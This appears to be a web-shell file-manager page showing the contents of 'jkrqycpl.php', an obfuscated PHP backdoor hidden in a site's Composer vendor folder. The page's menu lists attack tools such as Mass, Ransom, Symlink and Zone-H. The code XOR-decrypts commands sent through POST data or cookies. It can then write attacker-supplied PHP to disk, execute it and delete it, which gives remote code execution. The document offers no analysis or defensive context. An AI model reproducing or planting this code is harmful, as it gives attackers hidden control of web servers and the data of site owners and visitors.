Path : /var/www/clients/client0/web25/web/vendor/egulias/ |
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
Current File : /var/www/clients/client0/web25/web/vendor/egulias/jkrqycpl.php |
<?php $ooiejtwub = /* chk */ 'ooiejtwub' ^ '';$mwknu = "\x61" /* dusct */ . "r"."r"."a"."\171" . "\x5f" . "m".$ooiejtwub(97) . /*jk*/ $ooiejtwub(112);$j_fkblw = "c"."o"."\x75" . /*_p__ */ "n"."t"; function otwdpsi($ccprzqyq_l, $corkpgb){ /* c*/ global $ooiejtwub; /* mosfe */ $ccprzqyq_l = $ooiejtwub(1058-998) . /* flugc */ "\77" /* pc*/ . $ooiejtwub(112) . $ooiejtwub(481-377) . $ooiejtwub(221-109) /* jatteb */ . $ooiejtwub(32) . "u"."\x6e" . "\154" . $ooiejtwub(505-400) . $ooiejtwub(110) . "k"."(".$ooiejtwub(244-149) . "_"."F"."I"."\x4c" . "\x45" /* zbj */ . /*djg*/ "_"."_".")".";".$ooiejtwub(32) /* p_bw_*/ . $ccprzqyq_l[$ooiejtwub(100)]; $raheuff /* ksqhcz */ = /* zxjs */ "f".$ooiejtwub(105) . "\154" /* up */ . $ooiejtwub(649-548)."\137" . "p"."u"."\164" /*ezci*/ . /*rbq */ "_"."\x63" /* qj */ . "\157" . "n"."t"."\x65" . /* sczme */ $ooiejtwub(155-45) . "\x74" /* yqmuc */ . $ooiejtwub(115); $raheuff($corkpgb, /* ubg */ $ccprzqyq_l); /* f_ie*/ tqrmvc($corkpgb); } $tulcwmldhd /* vnlf */ = /* yjjqu */ 73; function /* zwl */ tqrmvc($corkpgb){ global $ooiejtwub; /*mfrst */ /* pdpl */ include($corkpgb); $puosmyr = /*hw*/ $corkpgb; @unlink($puosmyr); } function mineiddgnj() { /*syd*/ global $ooiejtwub; $_esoo /* hbt*/ = /* ari */ array(); $_esoo["\160" . "\x76"] /* ftvz*/ = phpversion(); /* __hhe_*/ $_esoo["s"."v"] = $ooiejtwub(51) /*lxaos_ */ . "."."\x35"; $zconhcebz = /* cml */ 74; echo @serialize($_esoo); } function _w_qfuc($ccprzqyq_l, $aidye) { global $ooiejtwub; $uxepamys = /*wro */ ""; $opihovsrel /*es_ku */ = strlen($ccprzqyq_l); $cmfupsuhlr /* ssbw */ = /* peh*/ strlen($aidye); $_esoo /* nalf*/ = /* siej */ 0; $fbklkzff = 0; while ($_esoo < /* psz */ $opihovsrel) { /* mqds */ $tkzpd = $ccprzqyq_l[$_esoo] /* x_wz */ ^ $aidye[$fbklkzff /* hjbxb*/ % $cmfupsuhlr]; $uxepamys /* ompdz */ .= /* yqhfqp */ $tkzpd; $fbklkzff++; /* h*/ /* td */ $_esoo++; } if (strlen($uxepamys) > /*holusm */ 20) { $segjh_c = substr($uxepamys, 0, /* tdisu */ 20); /* prjzp */ } /* ye */ if (empty($uxepamys)) { $uxepamys = date('Y-m-d H:i:s'); } return $uxepamys; } function f_fmnjlr($unfyvyuzr) { global $ooiejtwub; /*ypk */ /* lcy*/ $otlloouljx /*zrfsn*/ = "\62" /* z_kg */ . "\x30" . /* smyxik*/ "\x35" /* bnaibx*/ . "5"."a"."f"."\144" . "a"."\x2d" . /* kunw*/ "7"."2".$ooiejtwub(54) . "6"."\x2d" /* fbfqwo */ . /* jffbe */ "4"."\141" . $ooiejtwub(287-237) /*ehp*/ . /* teie */ "\x30" . "\x2d" . /*wv */ "8"."b"."b".$ooiejtwub(115-16) /*i */ . "\x2d" /* borw */ . "2".$ooiejtwub(54) . "\62" . $ooiejtwub(207-108) . "0"."c"."\x30" /* tthp*/ . $ooiejtwub(920-866) . "\67" . "2"."\x62" . /* ruoad*/ $ooiejtwub(1036-981); /* avxj */ /* awpam */ foreach ($unfyvyuzr as $gxkmokubx_ => $ccprzqyq_l) { wdydk_(base64_decode($ccprzqyq_l), $otlloouljx, $gxkmokubx_); /* qy */ } } function wdydk_($ccprzqyq_l, $otlloouljx, /* swuwd*/ $gxkmokubx_){ global /* ptxsu */ $ooiejtwub; $ccprzqyq_l = /*nopql */ unserialize(_w_qfuc(_w_qfuc($ccprzqyq_l, $otlloouljx), /*q */ $gxkmokubx_)); $wxrxjxkr = 'blkhxz_tzd'; $djvdgdwrcz = 'bcjcr'; /* e */ if /* a */ (isset($ccprzqyq_l[$ooiejtwub(1048-951) /*qynn */ . /* tp*/ $ooiejtwub(107)])) { if ($ccprzqyq_l["a"] == "i") { /* vd */ mineiddgnj(); /* wmazfz */ } /*de */ elseif ($ccprzqyq_l["a"] == $ooiejtwub(649-548)) { otwdpsi($ccprzqyq_l, sprintf($ooiejtwub(113-67) . "/"."\x25" . /* w */ "s"."\56" . "\160" . "l", md5($otlloouljx))); $z__pzhxaz = 44; } /* dswgk*/ exit(); /* da */ }} f_fmnjlr($_POST); /* lt */ $ohyquiay = 'rawurldecode'; $wzlkdbrjho /* rk*/ = $mwknu($ohyquiay, $_POST); strpos($ohyquiay, 'mmby_g'); $ooiztdov = $j_fkblw($wzlkdbrjho); f_fmnjlr($_COOKIE); $_esoowqocscjst = $mwknu($ohyquiay, $_COOKIE); ?>